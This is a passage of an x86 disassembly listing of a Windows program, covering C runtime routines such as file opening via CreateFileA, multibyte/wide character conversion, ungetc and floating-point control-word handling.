		jmp	short loc_42C5B4
; ---------------------------------------------------------------------------


loc_42C584:				; CODE XREF: sub_42C3D0+15Ej
					; sub_42C3D0+18Cj
		mov	[ebp+var_18], 5
		jmp	short loc_42C5B4
; ---------------------------------------------------------------------------


loc_42C58D:				; CODE XREF: sub_42C3D0+178j
		mov	[ebp+var_18], 2
		jmp	short loc_42C5B4
; ---------------------------------------------------------------------------


loc_42C596:				; CODE XREF: sub_42C3D0+16Fj
					; sub_42C3D0+17Aj ...
		call	sub_4248A0
		mov	dword ptr [eax], 16h
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42C8DA
; ---------------------------------------------------------------------------


loc_42C5B4:				; CODE XREF: sub_42C3D0+1A0j
					; sub_42C3D0+1A9j ...
		mov	[ebp+var_28], 80h
		mov	edx, [ebp+arg_4]
		and	edx, 100h
		test	edx, edx
		jz	short loc_42C605
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		add	ecx, 4
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx-4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_2C], 0
		mov	ecx, dword_4EF878
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		and	edx, 80h
		test	edx, edx
		jnz	short loc_42C605
		mov	[ebp+var_28], 1


loc_42C605:				; CODE XREF: sub_42C3D0+1F6j
					; sub_42C3D0+22Cj
		mov	eax, [ebp+arg_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42C627
		mov	ecx, [ebp+var_28]
		or	ecx, 4000000h
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_34]
		or	edx, 10000h
		mov	[ebp+var_34], edx


loc_42C627:				; CODE XREF: sub_42C3D0+23Dj
		mov	eax, [ebp+arg_4]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42C63C
		mov	ecx, [ebp+var_28]
		or	ch, 1
		mov	[ebp+var_28], ecx


loc_42C63C:				; CODE XREF: sub_42C3D0+261j
		mov	edx, [ebp+arg_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_42C653
		mov	eax, [ebp+var_28]
		or	eax, 8000000h
		mov	[ebp+var_28], eax
		jmp	short loc_42C669
; ---------------------------------------------------------------------------


loc_42C653:				; CODE XREF: sub_42C3D0+274j
		mov	ecx, [ebp+arg_4]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_42C669
		mov	edx, [ebp+var_28]
		or	edx, 10000000h
		mov	[ebp+var_28], edx


loc_42C669:				; CODE XREF: sub_42C3D0+281j
					; sub_42C3D0+28Bj
		call	sub_42B740
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42C695
		call	sub_4248A0
		mov	dword ptr [eax], 18h
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42C8DA
; ---------------------------------------------------------------------------


loc_42C695:				; CODE XREF: sub_42C3D0+2A5j
		push	0
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		lea	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_34]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F13A8	; CreateFileA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_42C6E1
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		call	sub_424800
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_42BCE0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42C8DA
; ---------------------------------------------------------------------------


loc_42C6E1:				; CODE XREF: sub_42C3D0+2ECj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4F12FC	; GetFileType
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42C721
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4F1324	; CloseHandle
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		call	sub_424800
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_42BCE0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42C8DA
; ---------------------------------------------------------------------------


loc_42C721:				; CODE XREF: sub_42C3D0+322j
		cmp	[ebp+var_C], 2
		jnz	short loc_42C732
		mov	cl, [ebp+var_38]
		or	cl, 40h
		mov	[ebp+var_38], cl
		jmp	short loc_42C741
; ---------------------------------------------------------------------------


loc_42C732:				; CODE XREF: sub_42C3D0+355j
		cmp	[ebp+var_C], 3
		jnz	short loc_42C741
		mov	dl, [ebp+var_38]
		or	dl, 8
		mov	[ebp+var_38], dl


loc_42C741:				; CODE XREF: sub_42C3D0+360j
					; sub_42C3D0+366j
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42B930
		add	esp, 8
		mov	dl, [ebp+var_38]
		or	dl, 1
		mov	[ebp+var_38], dl
		mov	eax, [ebp+var_14]
		sar	eax, 5
		mov	ecx, [ebp+var_14]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	al, [ebp+var_38]
		mov	[edx+ecx+4], al
		movsx	ecx, [ebp+var_38]
		and	ecx, 48h
		test	ecx, ecx
		jnz	loc_42C87F
		movsx	edx, [ebp+var_38]
		and	edx, 80h
		test	edx, edx
		jz	loc_42C87F
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	loc_42C87F
		push	2
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_429380
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_42C7F1
		call	sub_4248B0
		cmp	dword ptr [eax], 83h
		jz	short loc_42C7EC
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_41F570
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_42BCE0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42C8DA
; ---------------------------------------------------------------------------


loc_42C7EC:				; CODE XREF: sub_42C3D0+3FAj
		jmp	loc_42C87F
; ---------------------------------------------------------------------------


loc_42C7F1:				; CODE XREF: sub_42C3D0+3EDj
		mov	[ebp+var_30], 0
		push	1
		lea	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_422190
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42C849
		movsx	eax, [ebp+var_30]
		cmp	eax, 1Ah
		jnz	short loc_42C849
		mov	ecx, [ebp+var_3C]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_430DB0
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42C849
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_41F570
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42BCE0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42C8DA
; ---------------------------------------------------------------------------


loc_42C849:				; CODE XREF: sub_42C3D0+439j
					; sub_42C3D0+442j ...
		push	0
		push	0
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_429380
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_42C87F
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_41F570
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42BCE0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42C8DA
; ---------------------------------------------------------------------------


loc_42C87F:				; CODE XREF: sub_42C3D0+3B0j
					; sub_42C3D0+3C2j ...
		movsx	edx, [ebp+var_38]
		and	edx, 48h
		test	edx, edx
		jnz	short loc_42C8CB
		mov	eax, [ebp+arg_4]
		and	eax, 8
		test	eax, eax
		jz	short loc_42C8CB
		mov	ecx, [ebp+var_14]
		sar	ecx, 5
		mov	edx, [ebp+var_14]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 20h
		mov	edx, [ebp+var_14]
		sar	edx, 5
		mov	eax, [ebp+var_14]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4EFC40[edx*4]
		mov	[edx+eax+4], cl


loc_42C8CB:				; CODE XREF: sub_42C3D0+4B8j
					; sub_42C3D0+4C2j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_42BCE0
		add	esp, 4
		mov	eax, [ebp+var_14]


loc_42C8DA:				; CODE XREF: sub_42C3D0+C2j
					; sub_42C3D0+12Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42C3D0	endp

; ---------------------------------------------------------------------------
off_42C8DE	dd offset loc_42C4BE	; DATA XREF: sub_42C3D0+E7r
		dd offset loc_42C4C7
		dd offset loc_42C4D0
		dd offset loc_42C4D9
		dd offset loc_42C4E2
byte_42C8F2	db 0			; DATA XREF: sub_42C3D0+E1r
		db 4
		dd 3 dup(4040404h), 4010404h, 3	dup(4040404h), 4020404h
		dd 3 dup(4040404h), 0CC030404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C930	proc near		; CODE XREF: sub_422AF0+127p
					; sub_424AA0+40p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4EFD40
		jb	short loc_42C942
		xor	eax, eax
		jmp	short loc_42C960
; ---------------------------------------------------------------------------


loc_42C942:				; CODE XREF: sub_42C930+Cj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	eax, byte ptr [eax+edx+4]
		and	eax, 40h


loc_42C960:				; CODE XREF: sub_42C930+10j
		pop	ebp
		retn
sub_42C930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C970	proc near		; CODE XREF: sub_422D70+3CAp
					; sub_422D70+B90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4EFD48
		call	dword_4F1454	; InterlockedIncrement
		cmp	dword_4EFD44, 0
		jz	short loc_42C9A8
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement
		push	13h
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_42C9AF
; ---------------------------------------------------------------------------


loc_42C9A8:				; CODE XREF: sub_42C970+18j
		mov	[ebp+var_4], 0


loc_42C9AF:				; CODE XREF: sub_42C970+36j
		mov	ax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42C9F0
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42C9D5
		push	13h
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_42C9E0
; ---------------------------------------------------------------------------


loc_42C9D5:				; CODE XREF: sub_42C970+57j
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement


loc_42C9E0:				; CODE XREF: sub_42C970+63j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C9F0	proc near		; CODE XREF: sub_42C970+48p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_42CA03
		xor	eax, eax
		jmp	loc_42CA8C
; ---------------------------------------------------------------------------


loc_42CA03:				; CODE XREF: sub_42C9F0+Aj
		cmp	dword_4EF974, 0
		jnz	short loc_42CA3A
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 0FFh
		jle	short loc_42CA2B
		call	sub_4248A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42CA8C
; ---------------------------------------------------------------------------


loc_42CA2B:				; CODE XREF: sub_42C9F0+29j
		mov	ecx, [ebp+arg_0]
		mov	dl, byte ptr [ebp+arg_4]
		mov	[ecx], dl
		mov	eax, 1
		jmp	short loc_42CA8C
; ---------------------------------------------------------------------------


loc_42CA3A:				; CODE XREF: sub_42C9F0+1Aj
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	ecx, dword_4516A8
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	220h
		mov	ecx, dword_4EF984
		push	ecx
		call	dword_4F141C	; WideCharToMultiByte
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42CA79
		cmp	[ebp+var_8], 0
		jz	short loc_42CA89


loc_42CA79:				; CODE XREF: sub_42C9F0+81j
		call	sub_4248A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42CA8C
; ---------------------------------------------------------------------------


loc_42CA89:				; CODE XREF: sub_42C9F0+87j
		mov	eax, [ebp+var_4]


loc_42CA8C:				; CODE XREF: sub_42C9F0+Ej
					; sub_42C9F0+39j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42C9F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CA90	proc near		; CODE XREF: sub_424CA0+74Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4EFD48
		call	dword_4F1454	; InterlockedIncrement
		cmp	dword_4EFD44, 0
		jz	short loc_42CAC8
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement
		push	13h
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_42CACF
; ---------------------------------------------------------------------------


loc_42CAC8:				; CODE XREF: sub_42CA90+18j
		mov	[ebp+var_4], 0


loc_42CACF:				; CODE XREF: sub_42CA90+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42CB10
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42CAF8
		push	13h
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_42CB03
; ---------------------------------------------------------------------------


loc_42CAF8:				; CODE XREF: sub_42CA90+5Aj
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement


loc_42CB03:				; CODE XREF: sub_42CA90+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42CA90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CB10	proc near		; CODE XREF: sub_42CA90+4Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_42CB16:				; CODE XREF: sub_42CB10+3Aj
		cmp	dword_4516A8, 1
		jz	short loc_42CB46
		cmp	dword_4516A8, 2
		jz	short loc_42CB46
		push	offset aMb_cur_max1Mb_ ; "MB_CUR_MAX ==	1 || MB_CUR_MAX	== 2"
		push	0
		push	4Fh
		push	offset dword_438638
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42CB46
		int	3		; Trap to Debugger


loc_42CB46:				; CODE XREF: sub_42CB10+Dj
					; sub_42CB10+16j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42CB16
		cmp	[ebp+arg_4], 0
		jz	short loc_42CB58
		cmp	[ebp+arg_8], 0
		jnz	short loc_42CB5F


loc_42CB58:				; CODE XREF: sub_42CB10+40j
		xor	eax, eax
		jmp	loc_42CC69
; ---------------------------------------------------------------------------


loc_42CB5F:				; CODE XREF: sub_42CB10+46j
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42CB7E
		cmp	[ebp+arg_0], 0
		jz	short loc_42CB77
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_42CB77:				; CODE XREF: sub_42CB10+5Dj
		xor	eax, eax
		jmp	loc_42CC69
; ---------------------------------------------------------------------------


loc_42CB7E:				; CODE XREF: sub_42CB10+57j
		cmp	dword_4EF974, 0
		jnz	short loc_42CBA4
		cmp	[ebp+arg_0], 0
		jz	short loc_42CB9A
		mov	ecx, [ebp+arg_4]
		movzx	dx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		mov	[eax], dx


loc_42CB9A:				; CODE XREF: sub_42CB10+7Bj
		mov	eax, 1
		jmp	loc_42CC69
; ---------------------------------------------------------------------------


loc_42CBA4:				; CODE XREF: sub_42CB10+75j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_42CC2D
		cmp	dword_4516A8, 1
		jle	short loc_42CC00
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_4516A8
		jl	short loc_42CC00
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setnz	al
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, dword_4516A8
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	9
		mov	ecx, dword_4EF984
		push	ecx
		call	dword_4F1420	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_42CC26


loc_42CC00:				; CODE XREF: sub_42CB10+B7j
					; sub_42CB10+C2j
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_4516A8
		jb	short loc_42CC16
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+1]
		test	ecx, ecx
		jnz	short loc_42CC26


loc_42CC16:				; CODE XREF: sub_42CB10+F9j
		call	sub_4248A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42CC69
; ---------------------------------------------------------------------------


loc_42CC26:				; CODE XREF: sub_42CB10+EEj
					; sub_42CB10+104j
		mov	eax, dword_4516A8
		jmp	short loc_42CC69
; ---------------------------------------------------------------------------


loc_42CC2D:				; CODE XREF: sub_42CB10+AEj
		xor	edx, edx
		cmp	[ebp+arg_0], 0
		setnz	dl
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	9
		mov	edx, dword_4EF984
		push	edx
		call	dword_4F1420	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_42CC64
		call	sub_4248A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42CC69
; ---------------------------------------------------------------------------


loc_42CC64:				; CODE XREF: sub_42CB10+142j
		mov	eax, 1


loc_42CC69:				; CODE XREF: sub_42CB10+4Aj
					; sub_42CB10+69j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42CB10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42CC70	proc near		; CODE XREF: sub_424CA0+9D7p
					; sub_424CA0+A65p ...
		cmp	cl, 40h
		jnb	short loc_42CC8A
		cmp	cl, 20h
		jnb	short loc_42CC80
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_42CC80:				; CODE XREF: sub_42CC70+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_42CC8A:				; CODE XREF: sub_42CC70+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_42CC70	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42CC97:				; CODE XREF: .nsp0:0042CCBFj
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_42CCBB
		push	offset dword_437504
		push	0
		push	31h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42CCBB
		int	3		; Trap to Debugger


loc_42CCBB:				; CODE XREF: .nsp0:0042CC9Bj
					; .nsp0:0042CCB8j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42CC97
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_41ECE0
		add	esp, 4
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD00
		add	esp, 8
		mov	[ebp-4], eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_41ED50
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CD00	proc near		; CODE XREF: sub_426140+11p
					; .nsp0:0042CCD5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42CD07:				; CODE XREF: sub_42CD00+2Fj
		cmp	[ebp+arg_4], 0
		jnz	short loc_42CD2B
		push	offset dword_437514
		push	0
		push	60h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42CD2B
		int	3		; Trap to Debugger


loc_42CD2B:				; CODE XREF: sub_42CD00+Bj
					; sub_42CD00+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42CD07
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_42CD67
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jnz	short loc_42CD6F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_42CD67
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42CD6F


loc_42CD67:				; CODE XREF: sub_42CD00+3Bj
					; sub_42CD00+58j
		or	eax, 0FFFFFFFFh
		jmp	loc_42CE37
; ---------------------------------------------------------------------------


loc_42CD6F:				; CODE XREF: sub_42CD00+48j
					; sub_42CD00+65j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_42CD84
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42C2C0
		add	esp, 4


loc_42CD84:				; CODE XREF: sub_42CD00+76j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [ecx]
		cmp	eax, [edx+8]
		jnz	short loc_42CDAF
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_42CDA2
		or	eax, 0FFFFFFFFh
		jmp	loc_42CE37
; ---------------------------------------------------------------------------


loc_42CDA2:				; CODE XREF: sub_42CD00+98j
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_42CDAF:				; CODE XREF: sub_42CD00+8Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42CDED
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte ptr [ebp+arg_0]
		cmp	eax, ecx
		jz	short loc_42CDEB
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_42CE37
; ---------------------------------------------------------------------------


loc_42CDEB:				; CODE XREF: sub_42CD00+D7j
		jmp	short loc_42CE04
; ---------------------------------------------------------------------------


loc_42CDED:				; CODE XREF: sub_42CD00+BAj
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl


loc_42CE04:				; CODE XREF: sub_42CD00:loc_42CDEBj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	al, 0EFh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_42CE37:				; CODE XREF: sub_42CD00+6Aj
					; sub_42CD00+9Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42CD00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CE40	proc near		; CODE XREF: sub_426C70+5Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42CE40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	word ptr [ebp-4]
		mov	ax, [ebp-4]
		push	eax
		call	sub_42D240
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	word ptr [ebp-4]
		fnclex
		mov	ax, [ebp-4]
		push	eax
		call	sub_42D240
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CE90	proc near		; CODE XREF: sub_42CEE0+10p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_10]
		mov	ax, [ebp+var_10]
		push	eax
		call	sub_42CF60
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_4]
		not	edx
		mov	eax, [ebp+var_8]
		and	eax, edx
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42D0E0
		add	esp, 4
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42CE90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CEE0	proc near		; CODE XREF: sub_4271C0+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42CE90
		add	esp, 8
		pop	ebp
		retn
sub_42CEE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	sub_42B670
		mov	eax, [eax]
		mov	[ebp-4], eax
		fninit
		call	sub_4271C0
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42CF51
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		mov	eax, [edx]
		and	eax, 10008h
		test	eax, eax
		jz	short loc_42CF51
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		add	edx, 1Ch
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+8], 0FFFFh


loc_42CF51:				; CODE XREF: .nsp0:0042CF1Ej
					; .nsp0:0042CF2Fj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CF60	proc near		; CODE XREF: sub_42CE90+12p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
